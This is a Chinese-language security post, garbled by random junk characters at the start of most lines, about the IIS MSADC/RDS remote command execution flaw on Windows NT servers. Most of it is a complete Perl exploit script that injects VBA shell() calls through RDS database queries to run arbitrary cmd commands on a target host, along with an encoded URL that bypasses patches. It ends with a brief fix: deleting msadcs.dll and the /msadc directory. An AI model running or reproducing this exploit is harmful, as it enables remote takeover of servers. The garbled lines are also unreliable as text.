IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
oY=1C} I
:) W*SK 涉及程序：
k 1='c7s Microsoft NT server
Y] N,.pv= hat>kXm2K 描述：
+}@ 8p[`) 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
J! TBREK !MVj= ( 详细：
p!zJ;rh) 如果你没有时间读详细内容的话，就删除:
g%a|q~ ) c:\Program Files\Common Files\System\Msadc\msadcs.dll
|0.Xl+7 有关的安全问题就没有了。
r-IT(DzkD A}5fCx .{ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
V&ot3- Rf C $9z 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
fD4ICO @ 关于利用ODBC远程漏洞的描述，请参看:
syPWs57pH .lN s 4e http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ! bU\zH `/n M[ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Y<f_`h^r http://www.microsoft.com/security/bulletins/MS99-025faq.asp iqwkARG" Ai"-w" 这里不再论述。
m C[UXN/ VDGCWg6z 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
"i&"* ~ P"3*lk+w /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
P0Z! ?`e=M 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
T $+-IAE _&#S@aG w r~7:daG * #将下面这段保存为txt文件，然后: "perl -x 文件名"
M4m$\~zf hs+kr?Pg` #!perl
T
vtm`Yk\ #
(Yb[)m>fQ} # MSADC/RDS 'usage' (aka exploit) script
LF*&(NC #
6l\FIah@ # by rain.forest.puppy
:G5RYi #
',I0ih#Ls # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
JC#> Td # beta test and find errors!
.S?pG_n]f p'94SXO_ use Socket; use Getopt::Std;
RA O`i>@ getopts("e:vd:h:XR", \%args);
9GLb"6+PK [10zTU` print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
ihCIh6 58V[mlW)O0 if (!defined $args{h} && !defined $args{R}) {
TsQU6NNE print qq~
a
W%5~3 Usage: msadc.pl -h <host> { -d <delay> -X -v }
d3;qsUh$yv -h <host> = host you want to scan (ip or domain)
x= Hndx^ -d <seconds> = delay between calls, default 1 second
Q.U$nph\%d -X = dump Index Server path table, if available
I+( /TP -v = verbose
M*eJ
JY -e = external dictionary file for step 5
3oy~ = OJAIaC\ Or a -R will resume a command session
EZD y+6b 8, "yNq ~; exit;}
x_#-tB LiQgR
6j $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
{aY Y85j if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
SHVWwoieT if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
;gg \;i}^ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
_-TA{21) $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
B B$oq' if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
tw=oH9c80 l fZ04M{2 if (!defined $args{R}){ $ret = &has_msadc;
gB'fFkd die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
5ETip'<KT6 @`3 6ku print "Please type the NT commandline you want to run (cmd /c assumed):\n"
4qi [r)G . "cmd /c ";
_aWl]I){5 $in=<STDIN>; chomp $in;
;)AfB#:d $command="cmd /c " . $in ;
0\ 9K3 5ExDB6Bx@y if (defined $args{R}) {&load; exit;}
Px FWJ ?= ~]C%/gEh print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
x#.C4O09 &try_btcustmr;
Q Fm|-j b</9Ai= print "\nStep 2: Trying to make our own DSN...";
NB_ )ZEmF &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
<^?1uzxH8A @=j WHS print "\nStep 3: Trying known DSNs...";
cTTW06^ &known_dsn;
2i{cQ96 Iq7}
print "\nStep 4: Trying known .mdbs...";
vQ}6y &known_mdb;
PxS4,`#~ ~@ jY[_ if (defined $args{e}){
\b=Pj!^gwb print "\nStep 5: Trying dictionary of DSN names...";
$ Xm6N@ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
I
p zJ# (6l+lru[ print "Sorry Charley...maybe next time?\n";
$j}OB6^I exit;
\%Ves@hG> l:#-d.z# ##############################################################################
XQ%4L-rhN :r #)z4d5 sub sendraw { # ripped and modded from whisker
azQ D> sleep($delay); # it's a DoS on the server! At least on mine...
ev1 W6B-a my ($pstr)=@_;
8lF\v /vN socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
1NQbl+w#I die("Socket problems\n");
'y]\ -T if(connect(S,pack "SnA4x8",2,80,$target)){
F Tc.]laO select(S); $|=1;
mrIh0B:` print $pstr; my @in=<S>;
2%RNq<{Z_ select(STDOUT); close(S);
zm j"fN{\ return @in;
t \P<X^d% } else { die("Can't connect...\n"); }}
;5-r_D;9 "tFxhKf ##############################################################################
P 3 MhU; .MQ^( sub make_header { # make the HTTP request
b45|vX+j my $msadc=<<EOT
Wq*b~ Lw POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
D:^$4}h
f User-Agent: ACTIVEDATA
WrPUd{QM Host: $ip
sJwyj D$b Content-Length: $clen
/sM~U q? Connection: Keep-Alive
yz8mP3"c:o fXI :Y8T ADCClientVersion:01.06
n1
6 `y} Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
0Wa}<]:^ G,Z^g|6 --!ADM!ROX!YOUR!WORLD!
.itw04Uru Content-Type: application/x-varg
toN^0F?Qm Content-Length: $reqlen
cdqB,]" -7J| l EOT
^7z u< lX ; $msadc=~s/\n/\r\n/g;
}Sy=My89r return $msadc;}
N7E$G{TT _@S`5;4x ##############################################################################
|@NiW\O ljl^ GFo sub make_req { # make the RDS request
@36u8pE my ($switch, $p1, $p2)=@_;
z [`@}}Q my $req=""; my $t1, $t2, $query, $dsn;
Zo1,1O ,h"- if ($switch==1){ # this is the btcustmr.mdb query
f&v9Q97= $query="Select * from Customers where City=" . make_shell();
"ju6XdZo $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
;7N{^"r $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
AJ#Nenmj D}8EER b elsif ($switch==2){ # this is general make table query
g &/ T*L $query="create table AZZ (B int, C varchar(10))";
iq(
)8nxi $dsn="$p1";}
6aM*:>C" >pUtwIP elsif ($switch==3){ # this is general exploit table query
jZ NOt $query="select * from AZZ where C=" . make_shell();
bfo[" $dsn="$p1";}
PkI :*\ R 87hq{tTs] elsif ($switch==4){ # attempt to hork file info from index server
&0f5:M{P $query="select path from scope()";
%v20~xW :o $dsn="Provider=MSIDXS;";}
9z6XF]A N F)~W# elsif ($switch==5){ # bad query
dO a%9[ $query="select";
jKt7M>P $dsn="$p1";}
Eke5Nb |:8bNm5 [ $t1= make_unicode($query);
2-Y<4'> $t2= make_unicode($dsn);
TB0
5?F $req = "\x02\x00\x03\x00";
!K|5bK $req.= "\x08\x00" . pack ("S1", length($t1));
( 5]}5W* $req.= "\x00\x00" . $t1 ;
<b,~:9*? $req.= "\x08\x00" . pack ("S1", length($t2));
ou dxm[/U $req.= "\x00\x00" . $t2 ;
D3|I:Xm $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
9on@Q_7m return $req;}
~69&6C1Ch w@,zFV ##############################################################################
P.gb 1$7< ]U"94S U:) sub make_shell { # this makes the shell() statement
8OgLn?"P return "'|shell(\"$command\")|'";}
H;RwO@v "AE5
V' ##############################################################################
Omd .9 #%DE; sub make_unicode { # quick little function to convert to unicode
):iA\A5q[ my ($in)=@_; my $out;
-GxaV #{ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
m * JaXa return $out;}
g +z1 UX7t`l2R ##############################################################################
XI^QF;, %c4Hse#Y sub rdo_success { # checks for RDO return success (this is kludge)
X&kp;W my (@in) = @_; my $base=content_start(@in);
Kr)a2rZ}SL if($in[$base]=~/multipart\/mixed/){
1I:+MBGin return 1 if( $in[$base+10]=~/^\x09\x00/ );}
O%bEB g return 0;}
](hE^\SC EFz&N\2 ##############################################################################
4EY)!?; h $2</J" sub make_dsn { # this makes a DSN for us
#\=F O> my @drives=("c","d","e","f");
% >=!p print "\nMaking DSN: ";
B
{>7-0 foreach $drive (@drives) {
e%b6(% print "$drive: ";
u?C#4 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
\-g)T}g,I "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
|ZmUNiAa . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
<7~'; K $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
q<M2,YrbAI return 0 if $2 eq "404"; # not found/doesn't exist
n rjE.+ v if($2 eq "200") {
a |X a3E foreach $line (@results) {
ui? return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
&v@a5 L } return 0;}
PUUwv_ B6 = {&7U2 ##############################################################################
u A< n ez| ) ph7 sub verify_exists {
4%4 }5 UYN my ($page)=@_;
~sh`r{0 my @results=sendraw("GET $page HTTP/1.0\n\n");
`EaLGzw return $results[0];}
}~L.qG {tW f ##############################################################################
^~etm ')cMiX\v sub try_btcustmr {
P5UL4uyl my @drives=("c","d","e","f");
: . Wr{"` my @dirs=("winnt","winnt35","winnt351","win","windows");
{z{bY\ yK=cZw%D foreach $dir (@dirs) {
A*\.NT M print "$dir -> "; # fun status so you can see progress
z:wutq ru foreach $drive (@drives) {
:;9F>?VN>0 print "$drive: "; # ditto
x<ZJb $reqlen=length( make_req(1,$drive,$dir) ) - 28;
-Fe?R*-g $reqlenlen=length( "$reqlen" );
#pnI\ $clen= 206 + $reqlenlen + $reqlen;
)P
sY($ & Bx<
<~[Ws} my @results=sendraw(make_header() . make_req(1,$drive,$dir));
lN Yt`xp if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
JJN.ugT}1 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
M<v%CawS vQ
6^xvk] ##############################################################################
ZpQ)IHA. 2f L;-\!y( sub odbc_error {
'DCTc&J[' my (@in)=@_; my $base;
%iQD /iT5 my $base = content_start(@in);
8)_XJ"9)G if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
bE ! G JZ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_ z|65H $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
C&(N
I $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Yo6* C return $in[$base+4].$in[$base+5].$in[$base+6];}
|IzPgC print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
[<@.eH$hU/ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
D9H?:pmv? $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
asppRL||
" y}-- ##############################################################################
I=`U7Bis" V@g'#= {r sub verbose {
;~m8;8) my ($in)=@_;
uxr #QA return if !$verbose;
S4_YT@VD% print STDOUT "\n$in\n";}
a . k.n< 0Qf,@^zL* ##############################################################################
},{$*f[ [M=7M}f; sub save {
QTk}h_<u my ($p1, $p2, $p3, $p4)=@_;
cK( C&NK open(OUT, ">rds.save") || print "Problem saving parameters...\n";
GjvOM y print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Jdj2~pTq close OUT;}
I&x= ; *XIF)Q=<> ##############################################################################
kaVxT_ iv J@=pd)B sub load {
_Tm3<o. my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
'a@/vx&J open(IN,"<rds.save") || die("Couldn't open rds.save\n");
KW pVw! @p=<IN>; close(IN);
k_rt&}e+Gi $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
rlOAo`hd $target= inet_aton($ip) || die("inet_aton problems");
t -tg-< print "Resuming to $ip ...";
8p 'L#Q. $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
g}1B;zGf if($p[1]==1) {
V17%=bCZ5[ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
iP ->S\ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
r@H /kD my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
. YAT:;L if (rdo_success(@results)){print "Success!\n";}
n FHUy9q else { print "failed\n"; verbose(odbc_error(@results));}}
^ B fC elsif ($p[1]==3){
8;RUf~q? if(run_query("$p[3]")){
K0|FY=#2y print "Success!\n";} else { print "failed\n"; }}
W}@c|d $ ` elsif ($p[1]==4){
aC8} d if(run_query($drvst . "$p[3]")){
C)ERUH2i print "Success!\n"; } else { print "failed\n"; }}
0z6R'Kjy A exit;}
(c=6yV@ 2DrP"iGq5 ##############################################################################
1#< '&Lr 7x|9n sub create_table {
T $ >&[f$6 my ($in)=@_;
*a v<E $reqlen=length( make_req(2,$in,"") ) - 28;
hj* pTuym $reqlenlen=length( "$reqlen" );
%K=?@M9i $clen= 206 + $reqlenlen + $reqlen;
<lPm1/8 my @results=sendraw(make_header() . make_req(2,$in,""));
\wz6~5R return 1 if rdo_success(@results);
l<58A7 my $temp= odbc_error(@results); verbose($temp);
[}E='m}u9+ return 1 if $temp=~/Table 'AZZ' already exists/;
M^=zt return 0;}
On9A U:\ 6*78cg Io ##############################################################################
FXG]LoP PR#exm& sub known_dsn {
nv|NQ
Tk # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
7rc0y B
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
&[?\k> "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
X!TpYUZ ' "banner", "banners", "ads", "ADCDemo", "ADCTest");
Tztu}t]N KOk4^#h@ foreach $dSn (@dsns) {
;u_X) print ".";
l*Gvf_UH next if (!is_access("DSN=$dSn"));
@<hb6bo,N if(create_table("DSN=$dSn")){
-A^ _{4X print "$dSn successful\n";
%S96 0 if(run_query("DSN=$dSn")){
t&C1Oo}=3 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
_7Ju print "Something's borked. Use verbose next time\n";}}} print "\n";}
%} SrL* >
PRFWO ##############################################################################
/=nJRC 3. 5IGX5x sub is_access {
24 ' J my ($in)=@_;
[.7d<oY $reqlen=length( make_req(5,$in,"") ) - 28;
@e.C"@G $reqlenlen=length( "$reqlen" );
_$E6P^AQ $clen= 206 + $reqlenlen + $reqlen;
U2#"p
my @results=sendraw(make_header() . make_req(5,$in,""));
?Jm^< my $temp= odbc_error(@results);
].w4$OJ? verbose($temp); return 1 if ($temp=~/Microsoft Access/);
MS~(D.@ZS return 0;}
Y8~"vuIE5 gV's=cQ ##############################################################################
HmGWht6R o q
Xg sub run_query {
Ju@c~Xm my ($in)=@_;
EH J.T~X $reqlen=length( make_req(3,$in,"") ) - 28;
g*AWE,%=| $reqlenlen=length( "$reqlen" );
*a M=Z+ $clen= 206 + $reqlenlen + $reqlen;
,q`\\d my @results=sendraw(make_header() . make_req(3,$in,""));
Xx~Bp+ return 1 if rdo_success(@results);
O m|_{ my $temp= odbc_error(@results); verbose($temp);
I3L<[-ZE return 0;}
"<N*"euH 8b& /k8i: ##############################################################################
VPJElRSH DMr\ TN sub known_mdb {
oWT 3apGO my @drives=("c","d","e","f","g");
n:?a$Ldg m my @dirs=("winnt","winnt35","winnt351","win","windows");
Z"xvh81P my $dir, $drive, $mdb;
2* & ^v my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
q
'yva A:%`wX } # this is sparse, because I don't know of many
rH Lm\3 my @sysmdbs=( "\\catroot\\icatalog.mdb",
&jJL"gq" "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
6P l<'3& "\\system32\\certmdb.mdb",
MAR 'y8I "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Gx/Oi)&/ >y 7?-*0 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
~,Zc% s~| "\\cfusion\\cfapps\\forums\\forums_.mdb",
>1Ibc=}g "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
E<Y$> uKA "\\cfusion\\cfapps\\security\\realm_.mdb",
D%pF;XY "\\cfusion\\cfapps\\security\\data\\realm.mdb",
`4J$Et%S "\\cfusion\\database\\cfexamples.mdb",
D;*SnU(9L "\\cfusion\\database\\cfsnippets.mdb",
iOghb*aW "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Dcg o%F- W "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
d7;um<%zn "\\cfusion\\brighttiger\\database\\cleam.mdb",
Se } c[|8 "\\cfusion\\database\\smpolicy.mdb",
j3V
-LnA "\\cfusion\\database\cypress.mdb",
194)QeoFw "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
CY5Z{qiX "\\website\\cgi-win\\dbsample.mdb",
)m T<MkP "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
S9y} "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
v@L;x [Q ); #these are just
U?Zq6_M& foreach $drive (@drives) {
}o(-=lF foreach $dir (@dirs){
PJ%C N(0 foreach $mdb (@sysmdbs) {
4xje $/_d
print ".";
Q Z if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
*L^,| print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Z@S3ZGe if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
|0b`fOS print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
i[ 3'ec3 } else { print "Something's borked. Use verbose next time\n"; }}}}}
[}=B8#Jl-C ![=yi
tB foreach $drive (@drives) {
f}P3O3Yv& foreach $mdb (@mdbs) {
!*N@ZL& X print ".";
4Z&lYLq; if(create_table($drv . $drive . $dir . $mdb)){
G5 WVr$ print "\n" . $drive . $dir . $mdb . " successful\n";
gR;i(81U if(run_query($drv . $drive . $dir . $mdb)){
r`d4e,( print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
\ ~$#1D1f } else { print "Something's borked. Use verbose next time\n"; }}}}
:4/3q|cn }
&j"?\f? LU%E:i| ##############################################################################
yR{3!{r3( f.$af4
u sub hork_idx {
C_JNX9wv print "\nAttempting to dump Index Server tables...\n";
qo bc<- print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
*. t 7G $reqlen=length( make_req(4,"","") ) - 28;
.W!i7 $reqlenlen=length( "$reqlen" );
(hbyEQhF $clen= 206 + $reqlenlen + $reqlen;
O_7| C\] my @results=sendraw2(make_header() . make_req(4,"",""));
}S-O& Z if (rdo_success(@results)){
_]H&,</ my $max=@results; my $c; my %d;
c-5)QF) z for($c=19; $c<$max; $c++){
JK5gQ3C[ $results[$c]=~s/\x00//g;
ZBp/sm $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
bWU' cw $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Vp DbHAg $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
$'M!HJxb $d{"$1$2"}="";}
iqWQ!r^ foreach $c (keys %d){ print "$c\n"; }
on `3&0,. } else {print "Index server doesn't seem to be installed.\n"; }}
6LIJ Q m;QMQeGz ##############################################################################
rg!r[1c rjYJs*# sub dsn_dict {
0x@
mZ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
)jP1or while(<IN>){
Yc ?*dUV $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
BRiE &GzrF next if (!is_access("DSN=$dSn"));
'~=SzO if(create_table("DSN=$dSn")){
/a4{?? #e print "$dSn successful\n";
XW] tnrs if(run_query("DSN=$dSn")){
8{sGN CvU print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
_-g&PXH print "Something's borked. Use verbose next time\n";}}}
#@Jq~$N| print "\n"; close(IN);}
UP,c | %7+qnH*;r ##############################################################################
zK@@p+n_#. H G^'I+Yn sub sendraw2 { # ripped and modded from whisker
vXje^>_6 sleep($delay); # it's a DoS on the server! At least on mine...
`b$.%S8uj= my ($pstr)=@_;
~Mxvq9vaD socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
2BwO!Y[ die("Socket problems\n");
0 @oJFJrO if(connect(S,pack "SnA4x8",2,80,$target)){
ud('0 r',D print "Connected. Getting data";
*$g-:ILRuZ open(OUT,">raw.out"); my @in;
vr =#3> select(S); $|=1; print $pstr;
+CNv l while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
( a#BV}= close(OUT); select(STDOUT); close(S); return @in;
k{-Cwo } else { die("Can't connect...\n"); }}
vEJbA Q*Pq{]0K ##############################################################################
H/M@t\$Dc cbTm'}R(G sub content_start { # this will take in the server headers
i9x+A/ o[ my (@in)=@_; my $c;
/j.9$H'y for ($c=1;$c<500;$c++) {
>4CbwwMA if($in[$c] =~/^\x0d\x0a/){
_oeS Uzq. if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
gg2( 5FPP else { return $c+1; }}}
w \O;!1iU return -1;} # it should never get here actually
4o[{>gW "^GGac. ##############################################################################
\dah^mw" )Pv%#P-< sub funky {
5 nx 1 i my (@in)=@_; my $error=odbc_error(@in);
w``U=sfmV if($error=~/ADO could not find the specified provider/){
>^3i|PB print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Qo|\-y-# exit;}
PCtzl ) if($error=~/A Handler is required/){
k!Y, 63V= print "\nServer has custom handler filters (they most likely are patched)\n";
7@W>E;go exit;}
X"eYK/7 if($error=~/specified Handler has denied Access/){
{+>-7
9b print "\nServer has custom handler filters (they most likely are patched)\n";
cw
<l{A exit;}}
4o5t#qP5$S Jln:`!#fDf ##############################################################################
jnwu9PQ TB31-
() sub has_msadc {
^U/O !GK my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
u=e{]Ax#} my $base=content_start(@results);
N8df8=.kw return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
rYk0
ak return 0;}
;!Fn1|) ,eS)e+yzc2 ########################
k+*u/neh "" EQE >d 4CTi]E=H{ 解决方案：
1< ?4\?j 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
n + M <\ 2、移除web 目录: /msadc
